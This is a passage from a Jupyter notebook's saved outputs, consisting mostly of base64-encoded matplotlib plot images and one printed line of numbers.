/yM95as5ASfnxPfuynygX/3JvjieZh3K1z9Mvz9MnCnwIUPwcCzwNfj4H0WKgoPJIK5P4K+42DUteSXVeN1O0n3HtjGE1W0opCFO8JMOC4Hr0NBw6zcXUl2WhK5mSmtfy/DIRDHgdrOtk+g92hwJTX9mPwvITkjEr/H1/rXNuZoLfofeH8WTC8GhzPe0QAx7iwWkcnAw4ATeFJVZzW43wP8DTgVKAKuUNWth3vODtFZfKQqi2HTe5T3PRt3agZJEub1L3YyJDebrmVfkvP3c6n2dsVbXdDqlyjRVLrIwbupbXP1p19wKwBlJOPjQDNQ9cBvwVUvsvjl33HWV78FoDS1H2kTprEhZRRD5p4PwILMa9hSUMb/Zd/IcVlusn3J3Nh7BznB3SS/cw+X+GcwcNQ3+U3Vf+Mo2sTZ+T8hnN6HT+49B//WJSxavZXTT+hN+vETD4qtJhjG5RAcjgZNW6rw7EWRTvPvvQp7VsOzFxE+42c4vvlfkQ71vKWEjzuXh99ezbdGDODkLGBWtJbj6wV3rW/Zm7b4cVg5B36wsOn/sOEQ7N8GBRsiCelb/025P8ju/VUM7t72CaekKoDP4zr0fanv3RmQ1h3G/bDpazq6Te/Bstlw+d+OmQ/TFqsdfPGjpdD1+HZ72cN1FscsEYiIE/gKOBfIA5YCV6nqunrX/D9guKreIiJXAher6hWHe95OmQiaU10K7mRY+zpkDYLPZ/PvXj+gx2f/w/FlS1idMpZTiv9JOK0n1RnHsZds+n7zZpxrXmaR+xtkb5jD8P3v4XeksCQwiPXal5QkN9eGI7WQL8N9ONGx46CXDKqDcpLJkJZtxfmv0Kmc6ViFRw6eI1GuXlaHBzLeWffPznPBSaQ7qvmO46O6c4vSvk1ZdZC+uptUKvjM358CRw4ebzJDj+vP4t1hkv2FXB1+i6zq7QBs9gyhZ2AHKeFyAK71PsxM59MMrFiBX7zsDfn4UeB2Zue8QNeyAx/+75z5Os7MPvTcNo/KQJi8mhR2ugcwMNtDN28IQiF8NfkM/vA2AErG/4wKRxfyv17Nhh4X0T0jjbJNn+LsN4bx254gc/uB5rf8M/6Hu5Znc9b+11FvF046/4ek5PQhO1TIroJC3lhTREaXTIY6t+Io38vJxw3A5U3F230wO8NZdCtbS3FZNamDxpOjRewqD9OvT18qAyEq/SG+8cBCJg7KZvqUofT1VLC7aD8BXGR6hPDHDxMYfjXd/x6Z1b6+92UMPPN7OAadwb7KGtK9brwSBJcHgv7Ib6A6EMLtdCDhEMEN/0S2f4L7vF+DIzKWJL+0muufWswtZw/mOyMi82K0aj+fbi2nNORk3MBsXnzzn3y3ax4ZE6chJTvwhCuh+8mR5kmPj30lJVRJMt18HlxOR90giLLqGkpqIDczhc0F5Sz6Mp/+WSkUlZRyxfjBh/ZxqUbO1X6Y3vBP6De+3t1a1ydXUhnA5RT+sXQHk4dk0Ssz7dCkoQqFGyFrADjr1WhDQYI4mP3x1wzKdHPOcemRGmU4DOFgXe2zqibEJ5sLOeuEbjjrJedwWBGBoooaPtpYyEWn9Dpwf23slz4Fw6ZyODXBMEmuthnTE69EMB6YoarnRY/vBVDV/6l3zdvRaz4VERewB+iqhwkqIRPB4YTDoOHIN2RvetPXbV4E3YeyK5hGzy5eRIRg8TZemPsmPUZ9m/M2/RpyR6MZfVm3fS891zzBds/xaLeTGDr5B+S/8V/kS1e21fgYX/gau/p9h8xkBzkVm/FunEcgLBT7TiSt5/Hs2rgcUrL4KvschrORXjveoogulCb34cSKpXUhVaiHJAnh5sDIqBDCGo7nFDY0VgoC6uS10DfoLvs4y7mSXZpFlXoY5Di2VnytUScuwjikdf+/9mkamRJJcGWaDEAQJy5CJOOnmHRyKMEhSkiFIK5DknCtck1GgQBOsqScYnxkUUa5JiOiODSMixBuCR14fSK1GaeGEJRk/OSTgRPFSw1pVFJNEsWajorQV/IBqFQPKeIHoFh9ZFBONUmkiJ9y9eLHjZ8kulOMU5RK9VCMjzAOwiqkiB8XQbKknABOKtWLUxQnQdwEcRGmjBR8VAJQRBfKqe23UsLRRCAauQ2RbrceUoxfPJRqCg5RhMiQSQ9+MimlEi9FkoUCLkL00Hz2aCZhHGRQTor4KZJMUrSSVKrZRzphcaAKIYUwDhzRwRmKEAqDAmEFRXA6HUDkvj66C4ASfJSKjyRqItcQivw74qcaL04NUqUuvATwiwcRB/mj72D0t3/Qqr+peCWCqcBkVb05enwtMFZVb613zZroNXnR483RawobPNc0YBpA3759T922bVtMYjatVPs31NQIpVAw0qbvcMD+HZHE5S+F7MHg9qKq1OxchStUjTMlA7qegJbtQZJSKS4uonzTJ+RmeCj09iMtpzdlzkykPJ+aDf+isu9Z9MzOxLf7EyjJA4eL8uxTqAqGSE9JpmzrMkqT++DM7Ec/bwV+fzUFW9firsynOvMEpMdQuidVw9517C/OJz+URtCTQUnIQ2pFHru7TcRX+AVddR/d0z2UVIfZv7+Y3rl92LO/Ek3OwutJIrVgFfuCbjzBUsLOZFzDL2FfVYjkr+bhcwUpCScDQmZmJo5gNcH0XJzJPnbv+JpQwI/TX4I3VE6NM4X0tDRcheuoCCfhSEqhprKUJLeLYKCGTF8q6vISKCukPKAEvTk4wzU4A+XkZ5xC7+qNFKUOwtclGzSEbv2YUFhxON2Eg36qJYXk4H787kw8UoM/JLjdLtThIiRJeAigIlBZRBgnYYcLl0Bmmpea0gL8uPDjIehMpofHT6C6guqaEJldfBT6nbhCVezyHoczWEVOTR4hVzKEAtExEIqIA3eokv3OTJKCFXjcLpyhKgiH0XCQsCuFVJey190brakkWauoCioOVxJBnATVSWpoPxXuLBwaIqcm78CfoIDb6SAQCuOQyLfoYBhcTqFCPTjCQTzOcN2Hcygc+ZutdPhwaICUYAmCouKg0plOusOPxylUhh0Uazq+YDEhVyrlTh9pgWJUw4gqoHicQjAcQsOKoLgcglNARAmFwoTC4WgaUELiosKZgS+4L3I/LhyECEgSLg0QFDdJGiAkTrwSJOjw4AxVEwyF8Iy5gaFnfLdV/03jlQguA85rkAjGqOqP612zNnpN/UQwRlWLmnpeqxEYY8yRi9eEsjyg/hTYXGBXU9dEm4a6ALb5rzHGtKNYJoKlwGARGSAiScCVwLwG18wDro/engosPFz/gDHGmLYXs3kEqhoUkVuBt4kMH52tqmtF5D5gmarOA54CnhORTURqAlfGKh5jjDGNi+mEMlWdD8xvcG56vdvVwGWxjMEYY8zh2aJzxhiT4CwRGGNMgrNEYIwxCc4SgTHGJLgOt0OZiBQArZ1anAMUNntV52JlTgxW5sRwNGXup6pdG7ujwyWCoyEiy5qaWddZWZkTg5U5McSqzNY0ZIwxCc4SgTHGJLhESwR/iXcAcWBlTgxW5sQQkzInVB+BMcaYQyVajcAYY0wDlgiMMSbBJUwiEJHJIrJBRDaJyD3xjqetiMhsEcmP7vZWey5LRN4RkY3R35nR8yIij0Tfg1UiMip+kbeeiPQRkUUisl5E1orI7dHznbbcIuIVkc9EZGW0zDOj5weIyJJomf8RXfIdEfFEjzdF7+8fz/hbS0ScIvKFiLwVPe7U5QUQka0islpEVojIsui5mP5tJ0QiEBEn8BhwPnAScJWInBTfqNrMM8DkBufuAd5T1cHAe9FjiJR/cPRnGvDndoqxrQWBu1R1CDAO+FH037Mzl9sPfFNVTwFGAJNFZBxwP/BQtMz7gJui198E7FPV44CHotd1RLcD6+sdd/by1jpbVUfUmzMQ279tVe30P8B44O16x/cC98Y7rjYsX39gTb3jDUDP6O2ewIbo7SeAqxq7riP/AG8A5yZKuYEUYDkwlsgsU1f0fN3fOZF9QMZHb7ui10m8Yz/CcuZGP/S+CbxFZB/6TlveeuXeCuQ0OBfTv+2EqBEAvYEd9Y7zouc6q+6quhsg+rtb9Hynex+iTQAjgSV08nJHm0lWAPnAO8BmYL+qBqOX1C9XXZmj95cA2e0b8VH7A/AzIBw9zqZzl7eWAv8Skc9FZFr0XEz/tmO6Mc0xRBo5l4jjZjvV+yAiacCrwE9UtVSkseJFLm3kXIcrt6qGgBEikgG8Dgxp7LLo7w5dZhG5EMhX1c9F5Kza041c2inK28AEVd0lIt2Ad0Tky8Nc2yblTpQaQR7Qp95xLrArTrG0h70i0hMg+js/er7TvA8i4iaSBF5Q1deipzt9uQFUdT/wbyL9IxkiUvuFrn656socvb8Lke1gO4oJwBQR2Qq8SKR56A903vLWUdVd0d/5RBL+GGL8t50oiWApMDg64iCJyN7I8+IcUyzNA66P3r6eSBt67fnroiMNxgEltdXNjkQiX/2fAtar6u/r3dVpyy0iXaM1AUQkGZhEpBN1ETA1elnDMte+F1OBhRptRO4IVPVeVc1V1f5E/r8uVNVr6KTlrSUiqSLiq70NfAtYQ6z/tuPdMdKOHTAXAF8RaVf9r3jH04blmgPsBgJEvh3cRKRt9D1gY/R3VvRaITJ6ajOwGhgd7/hbWeaJRKq/q4AV0Z8LOnO5geHAF9EyrwGmR88PBD4DNgEvA57oeW/0eFP0/oHxLsNRlP0s4K1EKG+0fCujP2trP6ti/bdtS0wYY0yCS5SmIWOMMU2wRGCMMQnOEoExxiQ4SwTGGJPgLBEYY0yCs0RgEp6IhKIrPdb+HHZ1WhG5RUSua4PX3SoiOUf7PMYcLRs+ahKeiJSralocXncrkXHfhe392sbUZzUCY5oQ/cZ+f3QfgM9E5Ljo+Rki8tPo7dtEZF10LfgXo+eyRGRu9NxiERkePZ8tIv+Krq//BPXWiRGR70VfY4WIPBFdOt2YdmGJwBhIbtA0dEW9+0pVdQzwKJG1bhq6BxipqsOBW6LnZgJfRM/9HPhb9PyvgI9UdSSRpQH6AojIEOAKIouNjQBCwDVtW0RjmpYoq48aczhV0Q/gxsyp9/uhRu5fBbwgInOBudFzE4FLAVR1YbQm0AU4A7gkev7/RGRf9PpzgFOBpdEVVJM5sKiYMTFnicCYw9Mmbtf6NpEP+CnAL0XkZA6/NHBjzyHAs6p679EEakxrWdOQMYd3Rb3fn9a/Q0QcQB9VXURkA5UMIA34gGjTTnQt/UJVLW1w/nwgM/pU7wFTo+vP1/Yx9IthmYw5iNUIjIn2EdQ7/qeq1g4h9YjIEiJfmq5q8Dgn8Hy02UeI7KW7X0RmAE+LyCqgkgPLB88E5ojIcuB9YDuAqq4TkV8Q2ZXKQWQl2R8B29q6oMY0xoaPGtMEG95pEoU1DRljTIKzGoExxiQ4qxEYY0yCs0RgjDEJzhKBMcYkOEsExhiT4CwRGGNMgvv/dWlS9MmA+rIAAAAASUVORK5CYII=\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "9 5.0008296966552734e-05\n" ] }, { "data": { "image/png": "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